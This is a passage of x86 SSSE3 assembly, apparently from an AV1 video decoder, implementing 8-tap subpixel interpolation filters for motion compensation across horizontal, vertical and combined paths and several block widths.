mov [dstq+dsq*1], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w2_loop
RET
.h_w4:
%if ARCH_X86_32
and mxd, 0x7f
%else
movzx mxd, mxb
%endif
dec srcq
movd m3, [base_reg+mxq*8+subpel_filters-put_ssse3+2]
mova m6, [base+subpel_h_shufA]
mova m5, [base+pw_34] ; 2 + (8 << 2)
pshufd m3, m3, q0000
movifnidn dsq, dsmp
.h_w4_loop:
movq m0, [srcq+ssq*0] ; 1
movq m1, [srcq+ssq*1] ; 2
lea srcq, [srcq+ssq*2]
pshufb m0, m6 ; subpel_h_shufA
pshufb m1, m6 ; subpel_h_shufA
pmaddubsw m0, m3 ; subpel_filters
pmaddubsw m1, m3 ; subpel_filters
phaddw m0, m1
paddw m0, m5 ; pw34
psraw m0, 6
packuswb m0, m0
movd [dstq+dsq*0], m0
psrlq m0, 32
movd [dstq+dsq*1], m0
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w4_loop
RET
%macro PUT_8TAP_H 4 ; dst/src, tmp[1-3]
%if ARCH_X86_32
pshufb %2, %1, [base+subpel_h_shufB]
pshufb %3, %1, [base+subpel_h_shufC]
pshufb %1, [base+subpel_h_shufA]
%else
pshufb %2, %1, m11; subpel_h_shufB
pshufb %3, %1, m9 ; subpel_h_shufC
pshufb %1, m10 ; subpel_h_shufA
%endif
pmaddubsw %4, %2, m5 ; subpel +0 B0
pmaddubsw %2, m6 ; subpel +4 B4
pmaddubsw %3, m6 ; C4
pmaddubsw %1, m5 ; A0
paddw %3, %4 ; C4+B0
paddw %1, %2 ; A0+B4
phaddw %1, %3
paddw %1, m7 ; pw34
psraw %1, 6
%endmacro
.h_w8:
movu m0, [srcq+ssq*0]
movu m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
PUT_8TAP_H m0, m2, m3, m4
PUT_8TAP_H m1, m2, m3, m4
packuswb m0, m1
%if ARCH_X86_32
movq [dstq], m0
add dstq, dsm
movhps [dstq], m0
add dstq, dsm
%else
movq [dstq+dsq*0], m0
movhps [dstq+dsq*1], m0
lea dstq, [dstq+dsq*2]
%endif
sub hd, 2
jg .h_w8
RET
.h_w128:
mov r4, -16*7
jmp .h_w16_start
.h_w64:
mov r4, -16*3
jmp .h_w16_start
.h_w32:
mov r4, -16*1
jmp .h_w16_start
.h_w16:
xor r4d, r4d
.h_w16_start:
sub srcq, r4
sub dstq, r4
.h_w16_loop_v:
mov r6, r4
.h_w16_loop_h:
movu m0, [srcq+r6+8*0]
movu m1, [srcq+r6+8*1]
PUT_8TAP_H m0, m2, m3, m4
PUT_8TAP_H m1, m2, m3, m4
packuswb m0, m1
mova [dstq+r6], m0
add r6, 16
jle .h_w16_loop_h
add srcq, ssq
add dstq, dsmp
dec hd
jg .h_w16_loop_v
RET
.v:
%if ARCH_X86_32
movzx mxd, ssb
shr ssd, 16
cmp hd, 6
cmovs ssd, mxd
movq m0, [base_reg+ssq*8+subpel_filters-put_ssse3]
%else
%assign stack_offset org_stack_offset
WIN64_SPILL_XMM 16
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m0, [base_reg+myq*8+subpel_filters-put_ssse3]
%endif
tzcnt r6d, wd
movzx r6d, word [base_reg+r6*2+table_offset(put, _8tap_v)]
punpcklwd m0, m0
mova m7, [base+pw_512]
add r6, base_reg
%if ARCH_X86_32
%define subpel0 [rsp+mmsize*0]
%define subpel1 [rsp+mmsize*1]
%define subpel2 [rsp+mmsize*2]
%define subpel3 [rsp+mmsize*3]
%assign regs_used 2 ; use r1 (ds) as tmp for stack alignment if needed
ALLOC_STACK -16*4
%assign regs_used 7
pshufd m1, m0, q0000
mova subpel0, m1
pshufd m1, m0, q1111
mova subpel1, m1
pshufd m1, m0, q2222
mova subpel2, m1
pshufd m1, m0, q3333
mova subpel3, m1
mov ssq, [rstk+stack_offset+gprsize*4]
lea ssq, [ssq*3]
sub srcq, ssq
mov ssq, [rstk+stack_offset+gprsize*4]
mov dsq, [rstk+stack_offset+gprsize*2]
%else
%define subpel0 m8
%define subpel1 m9
%define subpel2 m10
%define subpel3 m11
lea ss3q, [ssq*3]
pshufd m8, m0, q0000
sub srcq, ss3q
pshufd m9, m0, q1111
pshufd m10, m0, q2222
pshufd m11, m0, q3333
%endif
jmp r6
.v_w2:
movd m1, [srcq+ssq*0]
movd m0, [srcq+ssq*1]
%if ARCH_X86_32
lea srcq, [srcq+ssq*2]
movd m2, [srcq+ssq*0]
movd m5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movd m3, [srcq+ssq*0]
movd m4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
%else
movd m2, [srcq+ssq*2]
add srcq, ss3q
movd m5, [srcq+ssq*0]
movd m3, [srcq+ssq*1]
movd m4, [srcq+ssq*2]
add srcq, ss3q
%endif
punpcklwd m1, m0 ; 0 1
punpcklwd m0, m2 ; 1 2
punpcklbw m1, m0 ; 01 12
movd m0, [srcq+ssq*0]
punpcklwd m2, m5 ; 2 3
punpcklwd m5, m3 ; 3 4
punpcklwd m3, m4 ; 4 5
punpcklwd m4, m0 ; 5 6
punpcklbw m2, m5 ; 23 34
punpcklbw m3, m4 ; 45 56
.v_w2_loop:
movd m4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pmaddubsw m5, m1, subpel0 ; a0 b0
mova m1, m2
pmaddubsw m2, subpel1 ; a1 b1
paddw m5, m2
mova m2, m3
pmaddubsw m3, subpel2 ; a2 b2
paddw m5, m3
punpcklwd m3, m0, m4 ; 6 7
movd m0, [srcq+ssq*0]
punpcklwd m4, m0 ; 7 8
punpcklbw m3, m4 ; 67 78
pmaddubsw m4, m3, subpel3 ; a3 b3
paddw m5, m4
pmulhrsw m5, m7
packuswb m5, m5
movd r6d, m5
mov [dstq+dsq*0], r6w
shr r6d, 16
mov [dstq+dsq*1], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w2_loop
RET
.v_w4:
%if ARCH_X86_32
.v_w8:
.v_w16:
.v_w32:
.v_w64:
.v_w128:
shl wd, 14
%if STACK_ALIGNMENT < 16
%define dstm [rsp+mmsize*4+gprsize]
mov dstm, dstq
%endif
lea r6d, [hq+wq-(1<<16)]
mov r4, srcq
.v_w4_loop0:
%endif
movd m1, [srcq+ssq*0]
movd m0, [srcq+ssq*1]
%if ARCH_X86_32
lea srcq, [srcq+ssq*2]
movd m2, [srcq+ssq*0]
movd m5, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movd m3, [srcq+ssq*0]
movd m4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
%else
movd m2, [srcq+ssq*2]
add srcq, ss3q
movd m5, [srcq+ssq*0]
movd m3, [srcq+ssq*1]
movd m4, [srcq+ssq*2]
add srcq, ss3q
%endif
punpckldq m1, m0 ; 0 1
punpckldq m0, m2 ; 1 2
punpcklbw m1, m0 ; 01 12
movd m0, [srcq+ssq*0]
punpckldq m2, m5 ; 2 3
punpckldq m5, m3 ; 3 4
punpckldq m3, m4 ; 4 5
punpckldq m4, m0 ; 5 6
punpcklbw m2, m5 ; 23 34
punpcklbw m3, m4 ; 45 56
.v_w4_loop:
movd m4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pmaddubsw m5, m1, subpel0 ; a0 b0
mova m1, m2
pmaddubsw m2, subpel1 ; a1 b1
paddw m5, m2
mova m2, m3
pmaddubsw m3, subpel2 ; a2 b2
paddw m5, m3
punpckldq m3, m0, m4 ; 6 7 _ _
movd m0, [srcq+ssq*0]
punpckldq m4, m0 ; 7 8 _ _
punpcklbw m3, m4 ; 67 78
pmaddubsw m4, m3, subpel3 ; a3 b3
paddw m5, m4
pmulhrsw m5, m7
packuswb m5, m5
movd [dstq+dsq*0], m5
psrlq m5, 32
movd [dstq+dsq*1], m5
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w4_loop
%if ARCH_X86_32
mov dstq, dstm
add r4, 4
movzx hd, r6w
add dstq, 4
mov srcq, r4
mov dstm, dstq
sub r6d, 1<<16
jg .v_w4_loop0
%endif
RET
%if ARCH_X86_64
.v_w8:
.v_w16:
.v_w32:
.v_w64:
.v_w128:
lea r6d, [wq*8-64]
mov r4, srcq
mov r7, dstq
lea r6d, [hq+r6*4]
.v_w8_loop0:
movq m1, [srcq+ssq*0]
movq m2, [srcq+ssq*1]
movq m3, [srcq+ssq*2]
add srcq, ss3q
movq m4, [srcq+ssq*0]
movq m5, [srcq+ssq*1]
movq m6, [srcq+ssq*2]
add srcq, ss3q
movq m0, [srcq+ssq*0]
punpcklbw m1, m2 ; 01
punpcklbw m2, m3 ; 12
punpcklbw m3, m4 ; 23
punpcklbw m4, m5 ; 34
punpcklbw m5, m6 ; 45
punpcklbw m6, m0 ; 56
.v_w8_loop:
movq m13, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pmaddubsw m14, m1, subpel0 ; a0
mova m1, m3
pmaddubsw m15, m2, subpel0 ; b0
mova m2, m4
pmaddubsw m3, subpel1 ; a1
mova m12, m0
pmaddubsw m4, subpel1 ; b1
movq m0, [srcq+ssq*0]
paddw m14, m3
paddw m15, m4
mova m3, m5
pmaddubsw m5, subpel2 ; a2
mova m4, m6
pmaddubsw m6, subpel2 ; b2
punpcklbw m12, m13 ; 67
punpcklbw m13, m0 ; 78
paddw m14, m5
mova m5, m12
pmaddubsw m12, subpel3 ; a3
paddw m15, m6
mova m6, m13
pmaddubsw m13, subpel3 ; b3
paddw m14, m12
paddw m15, m13
pmulhrsw m14, m7
pmulhrsw m15, m7
packuswb m14, m15
movq [dstq+dsq*0], m14
movhps [dstq+dsq*1], m14
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w8_loop
add r4, 8
add r7, 8
movzx hd, r6b
mov srcq, r4
mov dstq, r7
sub r6d, 1<<8
jg .v_w8_loop0
RET
%endif ;ARCH_X86_64
%undef subpel0
%undef subpel1
%undef subpel2
%undef subpel3
.hv:
%assign stack_offset org_stack_offset
cmp wd, 4
jg .hv_w8
%if ARCH_X86_32
and mxd, 0x7f
%else
movzx mxd, mxb
%endif
dec srcq
movd m1, [base_reg+mxq*8+subpel_filters-put_ssse3+2]
%if ARCH_X86_32
movzx mxd, ssb
shr ssd, 16
cmp hd, 6
cmovs ssd, mxd
movq m0, [base_reg+ssq*8+subpel_filters-put_ssse3]
mov ssq, ssmp
lea r6, [ssq*3]
sub srcq, r6
%define base_reg r6
mov r6, r1; use as new base
%assign regs_used 2
ALLOC_STACK -mmsize*14
%assign regs_used 7
mov dsq, [rstk+stack_offset+gprsize*2]
%define subpelv0 [rsp+mmsize*0]
%define subpelv1 [rsp+mmsize*1]
%define subpelv2 [rsp+mmsize*2]
%define subpelv3 [rsp+mmsize*3]
punpcklbw m0, m0
psraw m0, 8 ; sign-extend
pshufd m6, m0, q0000
mova subpelv0, m6
pshufd m6, m0, q1111
mova subpelv1, m6
pshufd m6, m0, q2222
mova subpelv2, m6
pshufd m6, m0, q3333
mova subpelv3, m6
%else
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m0, [base_reg+myq*8+subpel_filters-put_ssse3]
ALLOC_STACK mmsize*14, 14
lea ss3q, [ssq*3]
sub srcq, ss3q
%define subpelv0 m10
%define subpelv1 m11
%define subpelv2 m12
%define subpelv3 m13
punpcklbw m0, m0
psraw m0, 8 ; sign-extend
mova m8, [base+pw_8192]
mova m9, [base+pd_512]
pshufd m10, m0, q0000
pshufd m11, m0, q1111
pshufd m12, m0, q2222
pshufd m13, m0, q3333
%endif
pshufd m7, m1, q0000
cmp wd, 4
je .hv_w4
.hv_w2:
mova m6, [base+subpel_h_shuf4]
movq m2, [srcq+ssq*0] ; 0
movhps m2, [srcq+ssq*1] ; 0 _ 1
%if ARCH_X86_32
%define w8192reg [base+pw_8192]
%define d512reg [base+pd_512]
lea srcq, [srcq+ssq*2]
movq m0, [srcq+ssq*0] ; 2
movhps m0, [srcq+ssq*1] ; 2 _ 3
lea srcq, [srcq+ssq*2]
%else
%define w8192reg m8
%define d512reg m9
movq m0, [srcq+ssq*2] ; 2
add srcq, ss3q
movhps m0, [srcq+ssq*0] ; 2 _ 3
%endif
pshufb m2, m6 ; 0 ~ 1 ~
pshufb m0, m6 ; 2 ~ 3 ~
pmaddubsw m2, m7 ; subpel_filters
pmaddubsw m0, m7 ; subpel_filters
phaddw m2, m0 ; 0 1 2 3
pmulhrsw m2, w8192reg
%if ARCH_X86_32
movq m3, [srcq+ssq*0] ; 4
movhps m3, [srcq+ssq*1] ; 4 _ 5
lea srcq, [srcq+ssq*2]
%else
movq m3, [srcq+ssq*1] ; 4
movhps m3, [srcq+ssq*2] ; 4 _ 5
add srcq, ss3q
%endif
movq m0, [srcq+ssq*0] ; 6
pshufb m3, m6 ; 4 ~ 5 ~
pshufb m0, m6 ; 6 ~
pmaddubsw m3, m7 ; subpel_filters
pmaddubsw m0, m7 ; subpel_filters
phaddw m3, m0 ; 4 5 6 _
pmulhrsw m3, w8192reg
palignr m4, m3, m2, 4; V 1 2 3 4
punpcklwd m1, m2, m4 ; V 01 12 0 1 1 2
punpckhwd m2, m4 ; V 23 34 2 3 3 4
pshufd m0, m3, q2121; V 5 6 5 6
punpcklwd m3, m0 ; V 45 56 4 5 5 6
.hv_w2_loop:
movq m4, [srcq+ssq*1] ; V 7
lea srcq, [srcq+ssq*2] ; V
movhps m4, [srcq+ssq*0] ; V 7 8
pshufb m4, m6
pmaddubsw m4, m7
pmaddwd m5, m1, subpelv0; V a0 b0
mova m1, m2 ; V
pmaddwd m2, subpelv1 ; V a1 b1
paddd m5, m2 ; V
mova m2, m3 ; V
pmaddwd m3, subpelv2 ; a2 b2
phaddw m4, m4
pmulhrsw m4, w8192reg
paddd m5, m3 ; V
palignr m3, m4, m0, 12
mova m0, m4
punpcklwd m3, m0 ; V 67 78
pmaddwd m4, m3, subpelv3 ; V a3 b3
paddd m5, d512reg
paddd m5, m4
psrad m5, 10
packssdw m5, m5
packuswb m5, m5
movd r4d, m5
mov [dstq+dsq*0], r4w
shr r4d, 16
mov [dstq+dsq*1], r4w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w2_loop
RET
%undef w8192reg
%undef d512reg
.hv_w4:
%define hv4_line_0_0 4
%define hv4_line_0_1 5
%define hv4_line_0_2 6
%define hv4_line_0_3 7
%define hv4_line_0_4 8
%define hv4_line_0_5 9
%define hv4_line_1_0 10
%define hv4_line_1_1 11
%define hv4_line_1_2 12
%define hv4_line_1_3 13
%macro SAVELINE_W4 3
mova [rsp+mmsize*hv4_line_%3_%2], %1
%endmacro
%macro RESTORELINE_W4 3
mova %1, [rsp+mmsize*hv4_line_%3_%2]
%endmacro
%if ARCH_X86_32
%define w8192reg [base+pw_8192]
%define d512reg [base+pd_512]
%else
%define w8192reg m8
%define d512reg m9
%endif
; lower shuffle 0 1 2 3 4
mova m6, [base+subpel_h_shuf4]
movq m5, [srcq+ssq*0] ; 0 _ _ _
movhps m5, [srcq+ssq*1] ; 0 _ 1 _
%if ARCH_X86_32
lea srcq, [srcq+ssq*2]
movq m4, [srcq+ssq*0] ; 2 _ _ _
movhps m4, [srcq+ssq*1] ; 2 _ 3 _
lea srcq, [srcq+ssq*2]
%else
movq m4, [srcq+ssq*2] ; 2 _ _ _
movhps m4, [srcq+ss3q ] ; 2 _ 3 _
lea srcq, [srcq+ssq*4]
%endif
pshufb m2, m5, m6 ;H subpel_h_shuf4 0 ~ 1 ~
pshufb m0, m4, m6 ;H subpel_h_shuf4 2 ~ 3 ~
pmaddubsw m2, m7 ;H subpel_filters
pmaddubsw m0, m7 ;H subpel_filters
phaddw m2, m0 ;H 0 1 2 3
pmulhrsw m2, w8192reg ;H pw_8192
SAVELINE_W4 m2, 2, 0
; upper shuffle 2 3 4 5 6
mova m6, [base+subpel_h_shuf4+16]
pshufb m2, m5, m6 ;H subpel_h_shuf4 0 ~ 1 ~
pshufb m0, m4, m6 ;H subpel_h_shuf4 2 ~ 3 ~
pmaddubsw m2, m7 ;H subpel_filters
pmaddubsw m0, m7 ;H subpel_filters
phaddw m2, m0 ;H 0 1 2 3
pmulhrsw m2, w8192reg ;H pw_8192
;
; lower shuffle
mova m6, [base+subpel_h_shuf4]
movq m5, [srcq+ssq*0] ; 4 _ _ _
movhps m5, [srcq+ssq*1] ; 4 _ 5 _
%if ARCH_X86_32
lea srcq, [srcq+ssq*2]
movq m4, [srcq+ssq*0] ; 6 _ _ _
add srcq, ssq
%else
movq m4, [srcq+ssq*2] ; 6 _ _ _
add srcq, ss3q
%endif
pshufb m3, m5, m6 ;H subpel_h_shuf4 4 ~ 5 ~
pshufb m0, m4, m6 ;H subpel_h_shuf4 6 ~ 6 ~
pmaddubsw m3, m7 ;H subpel_filters
pmaddubsw m0, m7 ;H subpel_filters
phaddw m3, m0 ;H 4 5 6 7
pmulhrsw m3, w8192reg ;H pw_8192
SAVELINE_W4 m3, 3, 0
; upper shuffle
mova m6, [base+subpel_h_shuf4+16]
pshufb m3, m5, m6 ;H subpel_h_shuf4 4 ~ 5 ~
pshufb m0, m4, m6 ;H subpel_h_shuf4 6 ~ 6 ~
pmaddubsw m3, m7 ;H subpel_filters
pmaddubsw m0, m7 ;H subpel_filters
phaddw m3, m0 ;H 4 5 6 7
pmulhrsw m3, w8192reg ;H pw_8192
;process high
palignr m4, m3, m2, 4;V 1 2 3 4
punpcklwd m1, m2, m4 ; V 01 12
punpckhwd m2, m4 ; V 23 34
pshufd m0, m3, q2121;V 5 6 5 6
punpcklwd m3, m0 ; V 45 56
SAVELINE_W4 m0, 0, 1
SAVELINE_W4 m1, 1, 1
SAVELINE_W4 m2, 2, 1
SAVELINE_W4 m3, 3, 1
;process low
RESTORELINE_W4 m2, 2, 0
RESTORELINE_W4 m3, 3, 0
palignr m4, m3, m2, 4;V 1 2 3 4
punpcklwd m1, m2, m4 ; V 01 12
punpckhwd m2, m4 ; V 23 34
pshufd m0, m3, q2121;V 5 6 5 6
punpcklwd m3, m0 ; V 45 56
.hv_w4_loop:
;process low
pmaddwd m5, m1, subpelv0 ; V a0 b0
mova m1, m2
pmaddwd m2, subpelv1; V a1 b1
paddd m5, m2
mova m2, m3
pmaddwd m3, subpelv2; V a2 b2
paddd m5, m3
mova m6, [base+subpel_h_shuf4]
movq m4, [srcq+ssq*0] ; 7
movhps m4, [srcq+ssq*1] ; 7 _ 8 _
pshufb m4, m6 ;H subpel_h_shuf4 7 ~ 8 ~
pmaddubsw m4, m7 ;H subpel_filters
phaddw m4, m4 ;H 7 8 7 8
pmulhrsw m4, w8192reg ;H pw_8192
palignr m3, m4, m0, 12 ; 6 7 8 7
mova m0, m4
punpcklwd m3, m4 ; 67 78
pmaddwd m4, m3, subpelv3; a3 b3
paddd m5, d512reg ; pd_512
paddd m5, m4
psrad m5, 10
SAVELINE_W4 m0, 0, 0
SAVELINE_W4 m1, 1, 0
SAVELINE_W4 m2, 2, 0
SAVELINE_W4 m3, 3, 0
SAVELINE_W4 m5, 5, 0
;process high
RESTORELINE_W4 m0, 0, 1
RESTORELINE_W4 m1, 1, 1
RESTORELINE_W4 m2, 2, 1
RESTORELINE_W4 m3, 3, 1
pmaddwd m5, m1, subpelv0; V a0 b0
mova m1, m2
pmaddwd m2, subpelv1; V a1 b1
paddd m5, m2
mova m2, m3
pmaddwd m3, subpelv2; V a2 b2
paddd m5, m3
mova m6, [base+subpel_h_shuf4+16]
movq m4, [srcq+ssq*0] ; 7
movhps m4, [srcq+ssq*1] ; 7 _ 8 _
lea srcq, [srcq+ssq*2]
pshufb m4, m6 ;H subpel_h_shuf4 7 ~ 8 ~
pmaddubsw m4, m7 ;H subpel_filters
phaddw m4, m4 ;H 7 8 7 8
pmulhrsw m4, w8192reg ;H pw_8192
palignr m3, m4, m0, 12 ; 6 7 8 7
mova m0, m4
punpcklwd m3, m4 ; 67 78
pmaddwd m4, m3, subpelv3; a3 b3
paddd m5, d512reg ; pd_512
paddd m5, m4
psrad m4, m5, 10
RESTORELINE_W4 m5, 5, 0
packssdw m5, m4 ; d -> w
packuswb m5, m5 ; w -> b
pshuflw m5, m5, q3120
movd [dstq+dsq*0], m5
psrlq m5, 32
movd [dstq+dsq*1], m5
lea dstq, [dstq+dsq*2]
sub hd, 2
SAVELINE_W4 m0, 0, 1
SAVELINE_W4 m1, 1, 1
SAVELINE_W4 m2, 2, 1
SAVELINE_W4 m3, 3, 1
RESTORELINE_W4 m0, 0, 0
RESTORELINE_W4 m1, 1, 0
RESTORELINE_W4 m2, 2, 0
RESTORELINE_W4 m3, 3, 0
jg .hv_w4_loop
RET
%undef subpelv0
%undef subpelv1
%undef subpelv2
%undef subpelv3
.hv_w8:
%assign stack_offset org_stack_offset
%define hv8_line_1 0
%define hv8_line_2 1
%define hv8_line_3 2
%define hv8_line_4 3
%define hv8_line_6 4
%macro SAVELINE_W8 2
mova [rsp+hv8_line_%1*mmsize], %2
%endmacro
%macro RESTORELINE_W8 2
mova %2, [rsp+hv8_line_%1*mmsize]
%endmacro
shr mxd, 16
sub srcq, 3
%if ARCH_X86_32
%define base_reg r1
%define subpelh0 [rsp+mmsize*5]
%define subpelh1 [rsp+mmsize*6]
%define subpelv0 [rsp+mmsize*7]
%define subpelv1 [rsp+mmsize*8]
%define subpelv2 [rsp+mmsize*9]
%define subpelv3 [rsp+mmsize*10]
%define accuv0 [rsp+mmsize*11]
%define accuv1 [rsp+mmsize*12]
movq m1, [base_reg+mxq*8+subpel_filters-put_ssse3]
movzx mxd, ssb
shr ssd, 16
cmp hd, 6
cmovs ssd, mxd
movq m5, [base_reg+ssq*8+subpel_filters-put_ssse3]
mov ssq, ssmp
ALLOC_STACK -mmsize*13
%if STACK_ALIGNMENT < 16
%define dstm [rsp+mmsize*13+gprsize*1]
%define dsm [rsp+mmsize*13+gprsize*2]
mov r6, [rstk+stack_offset+gprsize*2]
mov dsm, r6
%endif
pshufd m0, m1, q0000
pshufd m1, m1, q1111
punpcklbw m5, m5
psraw m5, 8 ; sign-extend
pshufd m2, m5, q0000
pshufd m3, m5, q1111
pshufd m4, m5, q2222
pshufd m5, m5, q3333
mova subpelh0, m0
mova subpelh1, m1
mova subpelv0, m2
mova subpelv1, m3
mova subpelv2, m4
mova subpelv3, m5
lea r6, [ssq*3]
mov dstm, dstq
sub srcq, r6
%else
ALLOC_STACK 16*5, 16
%define subpelh0 m10
%define subpelh1 m11
%define subpelv0 m12
%define subpelv1 m13
%define subpelv2 m14
%define subpelv3 m15
%define accuv0 m8
%define accuv1 m9
movq m0, [base_reg+mxq*8+subpel_filters-put_ssse3]
movzx mxd, myb
shr myd, 16
cmp hd, 6
cmovs myd, mxd
movq m1, [base_reg+myq*8+subpel_filters-put_ssse3]
pshufd subpelh0, m0, q0000
pshufd subpelh1, m0, q1111
punpcklbw m1, m1
psraw m1, 8 ; sign-extend
pshufd subpelv0, m1, q0000
pshufd subpelv1, m1, q1111
pshufd subpelv2, m1, q2222
pshufd subpelv3, m1, q3333
lea ss3q, [ssq*3]
mov r7, dstq
sub srcq, ss3q
%endif
shl wd, 14
lea r6d, [hq+wq-(1<<16)]
mov r4, srcq
.hv_w8_loop0:
movu m4, [srcq+ssq*0] ; 0 = _ _
movu m5, [srcq+ssq*1] ; 1 = _ _
%if ARCH_X86_32
lea srcq, [srcq+ssq*2]
%endif
%macro HV_H_W8 4-7 ; src/dst, tmp[1-3], shuf[1-3]
%if ARCH_X86_32
pshufb %3, %1, [base+subpel_h_shufB]
pshufb %4, %1, [base+subpel_h_shufC]
pshufb %1, [base+subpel_h_shufA]
%else
pshufb %3, %1, %6 ; subpel_h_shufB
pshufb %4, %1, %7 ; subpel_h_shufC
pshufb %1, %5 ; subpel_h_shufA
%endif
pmaddubsw %2, %3, subpelh0 ; subpel +0 C0
pmaddubsw %4, subpelh1; subpel +4 B4
pmaddubsw %3, subpelh1; C4
pmaddubsw %1, subpelh0; A0
paddw %2, %4 ; C0+B4
paddw %1, %3 ; A0+C4
phaddw %1, %2
%endmacro
%if ARCH_X86_64
mova m7, [base+subpel_h_shufA]
mova m8, [base+subpel_h_shufB]
mova m9, [base+subpel_h_shufC]
%endif
HV_H_W8 m4, m1, m2, m3, m7, m8, m9 ; 0 ~ ~ ~
HV_H_W8 m5, m1, m2, m3, m7, m8, m9 ; 1 ~ ~ ~
%if ARCH_X86_32
movu m6, [srcq+ssq*0] ; 2 = _ _
movu m0, [srcq+ssq*1] ; 3 = _ _
lea srcq, [srcq+ssq*2]
%else
movu m6, [srcq+ssq*2] ; 2 = _ _
add srcq, ss3q
movu m0, [srcq+ssq*0] ; 3 = _ _
%endif
HV_H_W8 m6, m1, m2, m3, m7, m8, m9 ; 2 ~ ~ ~
HV_H_W8 m0, m1, m2, m3, m7, m8, m9 ; 3 ~ ~ ~
mova m7, [base+pw_8192]
pmulhrsw m4, m7 ; H pw_8192
pmulhrsw m5, m7 ; H pw_8192
pmulhrsw m6, m7 ; H pw_8192
pmulhrsw m0, m7 ; H pw_8192
punpcklwd m1, m4, m5 ; 0 1 ~
punpcklwd m2, m5, m6 ; 1 2 ~
punpcklwd m3, m6, m0 ; 2 3 ~
SAVELINE_W8 1, m1
SAVELINE_W8 2, m2
SAVELINE_W8 3, m3
mova m7, [base+subpel_h_shufA]
%if ARCH_X86_32
movu m4, [srcq+ssq*0] ; 4 = _ _
movu m5, [srcq+ssq*1] ; 5 = _ _
lea srcq, [srcq+ssq*2]
%else
movu m4, [srcq+ssq*1] ; 4 = _ _
movu m5, [srcq+ssq*2] ; 5 = _ _
add srcq, ss3q
%endif
movu m6, [srcq+ssq*0] ; 6 = _ _
HV_H_W8 m4, m1, m2, m3, m7, m8, m9 ; 4 ~ ~ ~
HV_H_W8 m5, m1, m2, m3, m7, m8, m9 ; 5 ~ ~ ~
HV_H_W8 m6, m1, m2, m3, m7, m8, m9 ; 6 ~ ~ ~
mova m7, [base+pw_8192]
pmulhrsw m1, m4, m7 ; H pw_8192 4 ~
pmulhrsw m2, m5, m7 ; H pw_8192 5 ~
pmulhrsw m3, m6, m7 ; H pw_8192 6 ~
punpcklwd m4, m0, m1 ; 3 4 ~
punpcklwd m5, m1, m2 ; 4 5 ~
punpcklwd m6, m2, m3 ; 5 6 ~
SAVELINE_W8 6, m3
RESTORELINE_W8 1, m1
RESTORELINE_W8 2, m2
RESTORELINE_W8 3, m3
.hv_w8_loop:
; m8 accu for V a
; m9 accu for V b
SAVELINE_W8 1, m3
SAVELINE_W8 2, m4
SAVELINE_W8 3, m5
SAVELINE_W8 4, m6
%if ARCH_X86_32
pmaddwd m0, m1, subpelv0 ; a0
pmaddwd m7, m2, subpelv0 ; b0
pmaddwd m3, subpelv1 ; a1
pmaddwd m4, subpelv1 ; b1
paddd m0, m3
paddd m7, m4
pmaddwd m5, subpelv2 ; a2
pmaddwd m6, subpelv2 ; b2
paddd m0, m5
paddd m7, m6
mova m5, [base+pd_512]
paddd m0, m5 ; pd_512
paddd m7, m5 ; pd_512
mova accuv0, m0
mova accuv1, m7
%else
pmaddwd m8, m1, subpelv0 ; a0
pmaddwd m9, m2, subpelv0 ; b0
pmaddwd m3, subpelv1 ; a1
pmaddwd m4, subpelv1 ; b1
paddd m8, m3
paddd m9, m4
pmaddwd m5, subpelv2 ; a2
pmaddwd m6, subpelv2 ; b2
paddd m8, m5
paddd m9, m6
mova m7, [base+pd_512]
paddd m8, m7 ; pd_512
paddd m9, m7 ; pd_512
mova m7, [base+subpel_h_shufB]
mova m6, [base+subpel_h_shufC]
mova m5, [base+subpel_h_shufA]
%endif
movu m0, [srcq+ssq*1] ; 7
movu m4, [srcq+ssq*2] ; 8
lea srcq, [srcq+ssq*2]
HV_H_W8 m0, m1, m2, m3, m5, m7, m6
HV_H_W8 m4, m1, m2, m3, m5, m7, m6
mova m5, [base+pw_8192]
pmulhrsw m0, m5 ; H pw_8192
pmulhrsw m4, m5 ; H pw_8192
RESTORELINE_W8 6, m6
punpcklwd m5, m6, m0 ; 6 7 ~
punpcklwd m6, m0, m4 ; 7 8 ~
pmaddwd m1, m5, subpelv3 ; a3
paddd m2, m1, accuv0
pmaddwd m1, m6, subpelv3 ; b3
paddd m1, m1, accuv1 ; H + V
psrad m2, 10
psrad m1, 10
packssdw m2, m1 ; d -> w
packuswb m2, m1 ; w -> b
movd [dstq+dsq*0], m2
psrlq m2, 32
%if ARCH_X86_32
add dstq, dsm
movd [dstq+dsq*0], m2
add dstq, dsm
%else
movd [dstq+dsq*1], m2
lea dstq, [dstq+dsq*2]
%endif
sub hd, 2
jle .hv_w8_outer
SAVELINE_W8 6, m4
RESTORELINE_W8 1, m1
RESTORELINE_W8 2, m2
RESTORELINE_W8 3, m3
RESTORELINE_W8 4, m4
jmp .hv_w8_loop
.hv_w8_outer:
%if ARCH_X86_32
mov dstq, dstm
add r4, 4
movzx hd, r6w
add dstq, 4
mov srcq, r4
mov dstm, dstq
%else
add r4, 4
add r7, 4
movzx hd, r6b
mov srcq, r4
mov dstq, r7
%endif
sub r6d, 1<<16
jg .hv_w8_loop0
RET
%macro PSHUFB_SUBPEL_H_4 5 ; dst/src1, src2/mask, tmp1, tmp2, reset_mask
%if cpuflag(ssse3)
pshufb %1, %2
%else
%if %5 == 1
pcmpeqd %2, %2
psrlq %2, 32
%endif
psrldq %3, %1, 1
pshufd %3, %3, q2301
pand %1, %2
pandn %4, %2, %3
por %1, %4
%endif
%endmacro
%macro PSHUFB_SUBPEL_H_4a 6 ; dst, src1, src2/mask, tmp1, tmp2, reset_mask
%ifnidn %1, %2
mova %1, %2
%endif
PSHUFB_SUBPEL_H_4 %1, %3, %4, %5, %6
%endmacro
